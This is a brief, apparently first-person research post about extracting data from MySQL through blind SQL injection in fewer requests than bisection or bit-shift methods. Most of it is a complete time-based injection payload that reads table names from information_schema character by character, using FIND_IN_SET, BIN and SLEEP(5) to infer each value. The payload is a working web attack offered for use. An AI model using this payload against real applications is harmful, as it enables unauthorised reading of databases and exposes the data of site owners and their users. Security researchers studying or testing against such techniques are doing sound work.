I was researching ways to retrieve data from a MySQL database with less requests than the traditional methods (Bisection, Bit Shift). I found a way to accomplish this with as little as 2 requests per character using this query:
AND (SELECT @a:=MID(BIN(FIND_IN_SET(MID(table_name,1,1), 'a,b,c,d,e,f
,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,@,#,
$,%,^,&,*,(,),-,+,=,\,,.,",\',~,`,\\,|,{,},[,],:,;, ,')),1,1) FROM
information_schema.tables LIMIT 1)=@a AND IF(@a!='',@a,SLEEP(5));
